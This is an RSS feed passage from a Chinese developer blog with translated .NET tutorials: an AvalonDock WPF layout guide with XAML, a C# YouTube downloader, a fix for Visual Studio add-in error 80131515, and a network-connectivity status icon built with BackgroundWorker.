&lt;strong&gt;DockingManager&lt;/strong&gt; 这是AvalonDock中的核心控件，它将包含的窗格排序，处理飞出的窗格，还有浮动的窗口。在上面这个图中，DockingManager 对象包含了所有空间（WPF控件），从顶部的工具栏到底部的状态栏都算。同时。DockingManager 也可以处理保存和恢复布局。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutPanel&lt;/strong&gt; 这个面板用来管理在一个方向上的子窗口（通过Orientation属性来选择方向），并且在它们之间添加了一个大小调节控件，在一个Orientation属性是Horizontal（水平）的LayoutPanel 上，排列了三个窗格。一个LayoutAnchorablePane在左，一个LayoutDocumentPane在中间。一个LayoutDockablePane在右边。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutDockablePane&lt;/strong&gt;  这个布局元素包含一个LayoutAnchorable对象的集合。通过它用来管理想TabControl这样的控件，在上面的截图中，LayoutDockablePanes是在左边的&amp;rsquo;Strumenti&amp;rsquo; 和 &amp;lsquo;Progetti&amp;rsquo; (工具和项目)  和在右边的&amp;rsquo;Classi&amp;rsquo; 和 &amp;lsquo;Proprieta&amp;rsquo;&amp;rsquo; (类视图和属性视图)的容器，一个LayoutDockablePane可以自动隐藏，就像&amp;rsquo;Errori&amp;rsquo;(错误)和&amp;rsquo;Lista Azioni&amp;rsquo;(操作列表) and &amp;lsquo;Uscita&amp;rsquo;(输出)。并且LayoutDockablePane可以被拖动到DockingManager上，成为一个浮动窗口或者附着到它的父控件DockingManager的边缘上。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutDocumentPane&lt;/strong&gt; 通常包含文档（DocumentContent类型）的一种窗格，但是其实也可以包含像上面提到的工具视图和类视图这样的DockableContents。在一个文档里。LayoutDocumentPane 被放置在ResizingPanel（水平方向）里。ResizingPanel则是上卖弄提到的在两个DockablePane中间的区域。注意。文档窗格是不能被移动的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutAnchorable&lt;/strong&gt; 一个停靠内容，是软件控件的容器，总是被包含在一个窗格里（LayoutAnchorablePane或是LayoutDocumentPane），在截图里。LayoutAnchorable是一类对象（包含一个SharpDevelop对象），工具对象，但是错误窗口（它处于自动隐藏状态，被好办在一个自动隐藏窗格里）不是。LayoutAnchorable就像它名字所暗示的那样。可以被从他的容器窗格里拖走。然后重新放置在一个存在的窗格里。或者是放置在父DockingManager的边缘，或者是放置在一个浮动窗口里（LayoutAnchorableFloatingWindow）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutDocument&lt;/strong&gt; 是一个仅可以被寄宿到LayoutDocumentPane的内容。它是一个特殊的内容，因为不能被停靠到边缘。仅能被放置到LayoutDocumentPane里。或者浮动在一个LayoutDocumentFloatingWindow窗口里。在途中，DocumentContent对象是program.cs&amp;rsquo; 或 &amp;lsquo;MainForm.cs&amp;rsquo; 文件视图&lt;/p&gt;
&lt;p&gt;**LayoutFloatingWindow **，是一个包含内容的窗口，当被拖动到一个DockingManager上面的时候，LayoutFloatingWindow（LayoutAnchorableFloatingWindow和LayoutDocumentFloatingWindow继承自他）集成在Window，总是包含一个窗格（LayoutAnchorablePane或是LayoutDocumentPane），窗格包含更多的内容（LayoutAnchorable或LayoutDocument），当用户对一个内容或是DockablePane执行拖拽，或者直接手工使用代码调用LayoutContent.Float()方法 LayoutFloatingWindow就被直接从DockingManager创建出来了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutPane&lt;/strong&gt;  一个基类，LayoutDockablePane和LayoutDocumentPane继承自它。它为他们提供了一些共有的属性和方法。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutContent&lt;/strong&gt; 是LayoutAnchorable 和LayoutAnchorable类的父类。提供了共有的属性和方法。&lt;/p&gt;
&lt;p&gt;理解布局元素是一些属于布局模型的类而不是属于视图是很重要的。因为，他们不是继承自FrameworkElement类，取而代之。AvalonDock包含了另一些类来展示这些组件的视图。这些类通常被命名为相关联的类名+Control字串。举个例子，在布局里创建的LayoutAnchorable创建了一个LayoutAnchorableControl（继承自FrameworkElement的类），并且绑定了LayoutAnchorableControl.Model 到这个LayoutAnchorable对象上。&lt;/p&gt;
&lt;p&gt;每一个被创建的视图控件总是有着Model属性的布局元素。因此，重新设计一个相关视图控件的样式是可以的。&lt;/p&gt;
&lt;p&gt;为了开始创建一个新的.net 4/.net 4.5的解决方案。并且添加对AvalonDock.dll的引用（可以直接添加也可以使用NuGet），然后添加AD命名空间到MainWindow.xaml中。&lt;/p&gt;
&lt;p&gt;在根Grid下放置DockingManager组件和一个简单的布局。&lt;/p&gt;
&lt;pre class=&#34;lang:xhtml decode:true &#34; &gt;&amp;lt;Window x:Class=&#34;MainWindow&#34;
        xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
        xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
        xmlns:avalonDock=&#34;http://avalondock.codeplex.com&#34;
        Title=&#34;MainWindow&#34; Height=&#34;434&#34; Width=&#34;684&#34;&amp;gt;
    &amp;lt;Grid&amp;gt;
        &amp;lt;avalonDock:DockingManager x:Name=&#34;dockingManager&#34;&amp;gt;
            &amp;lt;avalonDock:LayoutRoot&amp;gt;
                &amp;lt;avalonDock:LayoutPanel Orientation=&#34;Horizontal&#34;&amp;gt;
                    &amp;lt;avalonDock:LayoutDocumentPane/&amp;gt;
                    &amp;lt;avalonDock:LayoutAnchorablePane DockWidth=&#34;150&#34;&amp;gt;
                        &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Sample Tool Pane&#34;&amp;gt;
                            &amp;lt;TextBox/&amp;gt;
                        &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                    &amp;lt;/avalonDock:LayoutAnchorablePane&amp;gt;
                &amp;lt;/avalonDock:LayoutPanel&amp;gt;
                &amp;lt;avalonDock:LayoutRoot.LeftSide&amp;gt;
                    &amp;lt;avalonDock:LayoutAnchorSide&amp;gt;
                        &amp;lt;avalonDock:LayoutAnchorGroup&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Autohidden Content&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                        &amp;lt;/avalonDock:LayoutAnchorGroup&amp;gt;
                    &amp;lt;/avalonDock:LayoutAnchorSide&amp;gt;
                &amp;lt;/avalonDock:LayoutRoot.LeftSide&amp;gt;
            &amp;lt;/avalonDock:LayoutRoot&amp;gt;
        &amp;lt;/avalonDock:DockingManager&amp;gt;
    &amp;lt;/Grid&amp;gt;
&amp;lt;/Window&amp;gt;
&lt;/pre&gt; 
&lt;p&gt;DockingManager是AvalonDock的核心类，他的责任就是创建管理布局。布局被定义成一个ILayoutElement的树。树的根由LayoutRoot类指定。LayoutRoot由一些基本的子树来构成。。&lt;/p&gt;
&lt;p&gt;1.根面板的 根属性指向主 LayoutPanel，也是LayoutRoot的内容属性。&lt;/p&gt;
&lt;p&gt;2.大体上讲，RightSide/LeftSide/TopSide/BottonSide是LayoutAnchorGroup对象的集合属性，他们表示了停靠管理器的四个边。停靠管理器的锚通常是隐藏的。当用户移动鼠标到这些区域的时候。就会在自动隐藏的窗口里显示出来。&lt;/p&gt;
&lt;p&gt;3.FloatingWindows属性是FloatingWindow的集合。一个浮动窗口当用户拖动一个窗格（LayoutAnchorable或是LayoutDocument）的时候就被创建出来，这个集合可以被AvalonDock自动更新，但是用户依然可以通过调用LayoutContent的Float()方法来创建一个浮动窗口。&lt;/p&gt;
&lt;p&gt;Hidden是一个Anchorable（停靠）对象的集合。默认情况下，当用户点击一个LayoutAnchorable对象的关闭按钮，AvalonDock隐藏它：通过从布局里移除停靠元素，并且把他放入Hidden集合，当用户想要再一次显示的时候，AD又把这个内容从隐藏集合里删除重新显示在他被隐藏的那个窗格里。&lt;/p&gt;
&lt;p&gt;当使用布局树的时候，程序员可以创建任何复杂的界面，LayoutAnchorablePane的DockWidth和DockHeight属性可以被用来设置窗格的初始宽度和高度。而LayoutDocumentPane类通常则填满可用的空间。AvalonDock管理内容元素的宽度和高度以使得可以使用所有的可用空间。因此如果一个LayoutAnchorablePane被放置在一个LayoutPanel里，为LayoutAnchorablePane使用一个固定尺寸而为LayoutDocumentPane使用一个比例长度。也就是说为停靠对象使用了比例长度。&lt;/p&gt;
&lt;p&gt;一个LayoutDocumentGroup/ LayoutAnchorableGroup类可以被用来包含更多的LayoutDocumentPane/ LayoutAnchorablePane，举个例子，让我们来改变上面的例子来实现更复杂的例子。&lt;/p&gt;
&lt;pre class=&#34;lang:xhtml decode:true &#34; &gt;&amp;lt;Window x:Class=&#34;AvalonDock2Tutorial.MainWindow&#34;
        xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
        xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
        xmlns:avalonDock=&#34;http://avalondock.codeplex.com&#34;
        Title=&#34;MainWindow&#34; Height=&#34;350&#34; Width=&#34;525&#34;&amp;gt;
    &amp;lt;Grid&amp;gt;
        &amp;lt;avalonDock:DockingManager x:Name=&#34;dockingManager&#34;&amp;gt;
            &amp;lt;avalonDock:LayoutRoot&amp;gt;
                &amp;lt;avalonDock:LayoutPanel Orientation=&#34;Horizontal&#34;&amp;gt;
                    &amp;lt;avalonDock:LayoutDocumentPaneGroup&amp;gt;
                        &amp;lt;avalonDock:LayoutDocumentPane&amp;gt;
                            &amp;lt;avalonDock:LayoutDocument Title=&#34;Doc1&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutDocument&amp;gt;
                            &amp;lt;avalonDock:LayoutDocument Title=&#34;Doc2&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutDocument&amp;gt;
                        &amp;lt;/avalonDock:LayoutDocumentPane&amp;gt;
                        &amp;lt;avalonDock:LayoutDocumentPane&amp;gt;
                            &amp;lt;avalonDock:LayoutDocument Title=&#34;Doc3&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutDocument&amp;gt;
                        &amp;lt;/avalonDock:LayoutDocumentPane&amp;gt;                        
                    &amp;lt;/avalonDock:LayoutDocumentPaneGroup&amp;gt;
                    &amp;lt;avalonDock:LayoutAnchorablePaneGroup DockWidth=&#34;150&#34; Orientation=&#34;Vertical&#34;&amp;gt;
                        &amp;lt;avalonDock:LayoutAnchorablePane&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Tool 1&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Tool 2&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                        &amp;lt;/avalonDock:LayoutAnchorablePane&amp;gt;
                        &amp;lt;avalonDock:LayoutAnchorablePane&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Tool 3&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Tool 4&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                        &amp;lt;/avalonDock:LayoutAnchorablePane&amp;gt;
                    &amp;lt;/avalonDock:LayoutAnchorablePaneGroup&amp;gt;
                &amp;lt;/avalonDock:LayoutPanel&amp;gt;
                &amp;lt;avalonDock:LayoutRoot.LeftSide&amp;gt;
                    &amp;lt;avalonDock:LayoutAnchorSide&amp;gt;
                        &amp;lt;avalonDock:LayoutAnchorGroup&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Autohidden Content&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                        &amp;lt;/avalonDock:LayoutAnchorGroup&amp;gt;
                    &amp;lt;/avalonDock:LayoutAnchorSide&amp;gt;
                &amp;lt;/avalonDock:LayoutRoot.LeftSide&amp;gt;
            &amp;lt;/avalonDock:LayoutRoot&amp;gt;
        &amp;lt;/avalonDock:DockingManager&amp;gt;

    &amp;lt;/Grid&amp;gt;
&amp;lt;/Window&amp;gt;&lt;/pre&gt; 
&lt;p&gt;运行这个工程你就可以重新排列内容了。移动他们到浮动窗口。为了更加熟悉AvalonDock，我建议你多试几次，然后重新排列内容实现更复杂的布局。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#编写youtube下载器</title>
      <link>http://blog.leaver.me/2012/09/25/c%23%E7%BC%96%E5%86%99youtube%E4%B8%8B%E8%BD%BD%E5%99%A8/</link>
      <pubDate>Tue, 25 Sep 2012 09:33:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/25/c%23%E7%BC%96%E5%86%99youtube%E4%B8%8B%E8%BD%BD%E5%99%A8/</guid>
      <description>&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;本文将会暂时如何仅仅使用C#来下载youtub视频，代码简单也容易理解，每个人都可以把它整合到自己的工程项目里。&lt;/p&gt;
&lt;p&gt;我没有使用任何第三方的库来完成这段代码，你所要做的仅仅是把两个.cs文件整合进你的项目里。&lt;/p&gt;
&lt;h3 id=&#34;使用代码&#34;&gt;使用代码&lt;/h3&gt;
&lt;p&gt;这个工程里有两个主要的类&lt;/p&gt;
&lt;p&gt;YouTubeVideoQuality Class（youtube视频质量类）&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;public class YouTubeVideoQuality 
{
    /// &amp;lt;summary&amp;gt;
    /// Gets or Sets 文件名
    /// &amp;lt;/summary&amp;gt;
    public string Videotitle: { get; set; }
    /// &amp;lt;summary&amp;gt;
    /// Gets or Sets 文件扩展
    /// &amp;lt;/summary&amp;gt;
    public string Extention { get; set; }
    /// &amp;lt;summary&amp;gt;
    /// Gets or Sets 文件地址
    /// &amp;lt;/summary&amp;gt;
    public string DownloadUrl { get; set; }
    /// &amp;lt;summary&amp;gt;
    /// Gets or Sets 视频地址
    /// &amp;lt;/summary&amp;gt;
    public string VideoUrl { get; set; }
    /// &amp;lt;summary&amp;gt;
    /// Gets or Sets 文件大小
    /// &amp;lt;/summary&amp;gt;
    public Size Dimension { get; set; }

    public override string ToString()
    {
        return Extention + &#34; File &#34; + Dimension.Width + 
                           &#34;x&#34; + Dimension.Height;
    }

    public void SetQuality(string Extention, Size Dimension)
    {
        this.Extention = Extention;
        this.Dimension = Dimension;
    }
}&lt;/pre&gt; 
&lt;p&gt;YouTubeDownloader Class(youtube下载类)&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;public class YouTubeDownloader
{
    public static List&amp;lt;YouTubeVideoQuality&amp;gt; GetYouTubeVideoUrls(params string[] VideoUrls)
    {
        List&amp;lt;YouTubeVideoQuality&amp;gt; urls = new List&amp;lt;YouTubeVideoQuality&amp;gt;();
        foreach (var VideoUrl in VideoUrls)
        {
            string html = Helper.DownloadWebPage(VideoUrl);
            string title: = GetTitle(html);
            foreach (var videoLink in ExtractUrls(html))
            {
                YouTubeVideoQuality q = new YouTubeVideoQuality();
                q.VideoUrl = VideoUrl;
                q.Videotitle: = title;
                q.DownloadUrl = videoLink + &#34;&amp;amp;title=&#34; + title;
                if (getQuality(q))
                    urls.Add(q);
            }
        }
        return urls;
    }

    private static string GetTitle(string RssDoc)
    {
        string str14 = Helper.GetTxtBtwn(RssDoc, &#34;&#39;VIDEO_TITLE&#39;: &#39;&#34;, &#34;&#39;&#34;, 0);
        if (str14 == &#34;&#34;) str14 = Helper.GetTxtBtwn(RssDoc, &#34;\&#34;title\&#34; content=\&#34;&#34;, &#34;\&#34;&#34;, 0);
        if (str14 == &#34;&#34;) str14 = Helper.GetTxtBtwn(RssDoc, &#34;&amp;amp;title=&#34;, &#34;&amp;amp;&#34;, 0);
        str14 = str14.Replace(@&#34;\&#34;, &#34;&#34;).Replace(&#34;&#39;&#34;, &#34;&#39;&#34;).Replace(
                &#34;\&#34;&#34;, &#34;&#34;&#34;).Replace(&#34;&amp;lt;&#34;, &#34;&amp;lt;&#34;).Replace(
                &#34;&amp;gt;&#34;, &#34;&amp;gt;&#34;).Replace(&#34;+&#34;, &#34; &#34;);
        return str14;
    }

    private static List&amp;lt;string&amp;gt; ExtractUrls(string html)
    {
        html = Uri.UnescapeDataString(Regex.Match(html, &#34;url_encoded_fmt_stream_map=(.+?)&amp;amp;&#34;, 
                                      RegexOptions.Singleline).Groups[1].ToString());
        MatchCollection matchs = Regex.Matches(html, 
          &#34;url=(.+?)&amp;amp;quality=(.+?)&amp;amp;fallback_host=(.+?)&amp;amp;type=(.+?)&amp;amp;itag=(.+?),&#34;, 
          RegexOptions.Singleline);
        bool firstTry = matchs.Count &amp;gt; 0;
        if (!firstTry)
            matchs = Regex.Matches(html, 
                     &#34;itag=(.+?)&amp;amp;url=(.+?)&amp;amp;type=(.+?)&amp;amp;fallback_host=(.+?)&amp;amp;sig=(.+?)&amp;amp;quality=(.+?),{0,1}&#34;, 
                     RegexOptions.Singleline);
        List&amp;lt;string&amp;gt; urls = new List&amp;lt;string&amp;gt;();
        foreach (Match match in matchs)
        {
            if (firstTry)
                urls.Add(Uri.UnescapeDataString(match.Groups[1] + &#34;&#34;));
            else urls.Add(Uri.UnescapeDataString(match.Groups[2] + &#34;&#34;) + &#34;&amp;amp;signature=&#34; + match.Groups[5]);
        }
        return urls;
    }

    private static bool getQuality(YouTubeVideoQuality q)
    {
        if (q.DownloadUrl.Contains(&#34;itag=5&#34;))
            q.SetQuality(&#34;flv&#34;, new Size(320, 240));
        else if (q.DownloadUrl.Contains(&#34;itag=34&#34;))
            q.SetQuality(&#34;flv&#34;, new Size(400, 226));
        else if (q.DownloadUrl.Contains(&#34;itag=6&#34;))
            q.SetQuality(&#34;flv&#34;, new Size(480, 360));
        else if (q.DownloadUrl.Contains(&#34;itag=35&#34;))
            q.SetQuality(&#34;flv&#34;, new Size(640, 380));
        else if (q.DownloadUrl.Contains(&#34;itag=18&#34;))
            q.SetQuality(&#34;mp4&#34;, new Size(480, 360));
        else if (q.DownloadUrl.Contains(&#34;itag=22&#34;))
            q.SetQuality(&#34;mp4&#34;, new Size(1280, 720));
        else if (q.DownloadUrl.Contains(&#34;itag=37&#34;))
            q.SetQuality(&#34;mp4&#34;, new Size(1920, 1280));
        else if (q.DownloadUrl.Contains(&#34;itag=38&#34;))
            q.SetQuality(&#34;mp4&#34;, new Size(4096, 72304));
        else return false;
        return true;
    }
}&lt;/pre&gt; 
&lt;h3 id=&#34;有趣的地方&#34;&gt;有趣的地方&lt;/h3&gt;
&lt;p&gt;使用这个代码，你可以根据你的网速来选择不同品质的视频来下载&lt;/p&gt;</description>
    </item>
    <item>
      <title>VS扩展故障,错误码:80131515</title>
      <link>http://blog.leaver.me/2012/09/24/vs%E6%89%A9%E5%B1%95%E6%95%85%E9%9A%9C%E9%94%99%E8%AF%AF%E7%A0%8180131515/</link>
      <pubDate>Mon, 24 Sep 2012 08:04:33 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/24/vs%E6%89%A9%E5%B1%95%E6%95%85%E9%9A%9C%E9%94%99%E8%AF%AF%E7%A0%8180131515/</guid>
      <description>&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;如果你给VS安装了&lt;a href=&#34;http://www.codeproject.com/Articles/446955/Web-Search-Visual-Studio-Add-in-Search-Google-Yaho&#34;&gt;Web Search&lt;/a&gt;扩展，如果第一次运行就出现了错误代码是80131515的问题。那么本文对你是有用的。。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27488_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/31f5dde58ae04aa01469671b23b71a15d328c51c.png&#34; title=&#34;question&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;背景&#34;&gt;背景&lt;/h3&gt;
&lt;p&gt;当我远程试图运行&lt;a href=&#34;http://www.codeproject.com/Articles/446955/Web-Search-Visual-Studio-Add-in-Search-Google-Yaho&#34;&gt;Web Search&lt;/a&gt;的时候出现了这个错误。我用本文第一种方法解决了。。&lt;/p&gt;
&lt;h3 id=&#34;解决方法&#34;&gt;解决方法&lt;/h3&gt;
&lt;p&gt;这个错误发生在当我远程以dll的方式调用的时候提示我说权限不够。。
为了解决这个问题，我们需要给devenv.exe.config文件添加loadFromRemoteSources 元素
首先使用管理员权限从下面的路径打开devenv.exe.config文件。
具体路径：你的VS安装目录\Common7\IDE\devenv.exe.config
并且添加loadFromRemoteSources 元素，并设为true。如下：&lt;/p&gt;
&lt;pre class=&#34;lang:xhtml decode:true &#34; &gt;&amp;lt;configuration&amp;gt;
   &amp;lt;runtime&amp;gt;
      &amp;lt;loadFromRemoteSources enabled=&#34;true&#34;/&amp;gt;
   &amp;lt;/runtime&amp;gt;
&amp;lt;/configuration&amp;gt; &lt;/pre&gt; 
&lt;p&gt;有时候windows会把下载的文件标记为“此文件来自一个不同的位置” ，然后对这些文件进行了很多的限制，这部分就是解锁下载的zip或是dll文件&lt;/p&gt;
&lt;p&gt;为了解锁这些文件，只要右键点击这些文件，属性，选择常规，然后点击解锁按钮。如下图：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27489_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/c889da920a47f1e60ef6d7140d69f20c61374388.png&#34; title=&#34;answer&#34;&gt;&lt;/a&gt;
如果你还有其他的解决方法请告诉我哦。&lt;/p&gt;
&lt;h3 id=&#34;许可&#34;&gt;许可&lt;/h3&gt;
&lt;p&gt;本文，包括源代码和文件，在CPOL下授权。&lt;/p&gt;
&lt;p&gt;原文地址：&lt;a href=&#34;http://www.codeproject.com/Tips/463777/Visual-Studio-Add-in-Troubleshooting-Error-Number&#34;&gt;Visual-Studio-Add-in-Troubleshooting-Error-Number&lt;/a&gt;
著作权声明：本文由&lt;a href=&#34;http://leaver.me&#34;&gt;http://leaver.me&lt;/a&gt; 翻译，欢迎转载分享。请尊重作者劳动，转载时保留该声明和作者博客链接，谢谢！&lt;/p&gt;</description>
    </item>
    <item>
      <title>.net显示网络连接状态图标</title>
      <link>http://blog.leaver.me/2012/09/24/.net%E6%98%BE%E7%A4%BA%E7%BD%91%E7%BB%9C%E8%BF%9E%E6%8E%A5%E7%8A%B6%E6%80%81%E5%9B%BE%E6%A0%87/</link>
      <pubDate>Mon, 24 Sep 2012 08:04:02 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/24/.net%E6%98%BE%E7%A4%BA%E7%BD%91%E7%BB%9C%E8%BF%9E%E6%8E%A5%E7%8A%B6%E6%80%81%E5%9B%BE%E6%A0%87/</guid>
      <description>&lt;p&gt;效果图：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27419_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34; title=&#34;internet connection&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;　　越来越多的软件要通过连接互联网来执行一些业务层的业务操作，比如调用web services服务，获取数据等等。
通常你可能希望知道当前你的网络连接是不是真的连上了，当然有很多种方法可以做到，比如，你可以查看System.Net 命名空间中的NetworkInterface 的状态，但是有这以太网连接并不表示你的连接真的可以用。 本文将会展示一种方法，该方法在程序的状态栏StatusStrip 显示一个简单的图标来指示是不是真的连接到了互联网。&lt;/p&gt;
&lt;h3 id=&#34;使用代码&#34;&gt;使用代码&lt;/h3&gt;
&lt;p&gt;　　最简单的我们会想到使用一个Timer来进行http-get请求来判断一个特定的网页是否可用。&lt;/p&gt;
&lt;p&gt;　　当然这种方法下，我们最应该考虑的就是请求不能阻塞UI线程，因此，我将使用一个BackgroundWorker 对象来进行get请求，BackgroundWorker 对象声明了DoWork方法。该方法定义了一个事件句柄，该句柄传递一个DoWorkEventArgs 类来将事件的处理结果返回到UI线程，因此，你不必与任何的UI元素进行交互，因为它运行在一个独立的线程里。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;private void InitializeComponent()
{
    // Background Worker
    this._worker = new BackgroundWorker();
    this._worker.WorkerReportsProgress = false;
    this._worker.WorkerSupportsCancellation = false;
    this._worker.DoWork += new 
       DoWorkEventHandler(this.BackgroundWorker_DoWork);
    this._worker.RunWorkerCompleted += new 
       RunWorkerCompletedEventHandler(this.BackgroundWorker_RunWorkerCompleted);

    // Timer
    this._updateTimer = new Timer();
    this._updateTimer.Enabled = !this.DesignMode;
    // Enabled when not in design mode

    this._updateTimer.Tick += delegate { this.OnTick(); };
}

private void OnTick()
{
    if (this.DesignMode)
        return;

    // Stop the timer while the process is running
    this._updateTimer.Enabled = false;

    // Disable so we get the grayed-out look
    this.Enabled = false;
    this.Invalidate();

    // Execute the Ping Query on a separate thread...
    this._worker.RunWorkerAsync();
}&lt;/pre&gt; 
&lt;p&gt;　　这个查询很简单，我执行简单的HttpWebRequest 来请求一个必然是可用的网页。比如微软的主页或是Google的主页。通过这样，我们就能知道是不是真的连接上了互联网。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;private void BackgroundWorker_DoWork(object sender, DoWorkEventArgs e)
{
    try
    {
        // Create an HTTP Web request
        // to an Uri that&#39;s always available.
        HttpWebRequest request = (HttpWebRequest) 
           HttpWebRequest.Create(this._alwaysAvailableUrl);

        // Perform GET
        HttpWebResponse response = 
           (HttpWebResponse) request.GetResponse();
        if (HttpStatusCode.OK == response.StatusCode)
        {
            // HTTP = 200, close the request and return true
            response.Close();
            e.Result = true;
        }
        else
        {
            // Other status; return false
            e.Result = false;
        }
    }
    catch (WebException)
    {
        // Deffinitely offline
        e.Result = false;
    }
}&lt;/pre&gt; 
&lt;p&gt;　　当BackgroundWorker 对象完成了他的工作，，也就是定义DoWork 里的事件，他会触发RunWorkerCompleted 事件，这个事件也定义了一个定制的事件句柄- RunWorkerCompletedEventArgs 有了这个类，我们就可以管理ToolStripStatusLabel的显示了&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
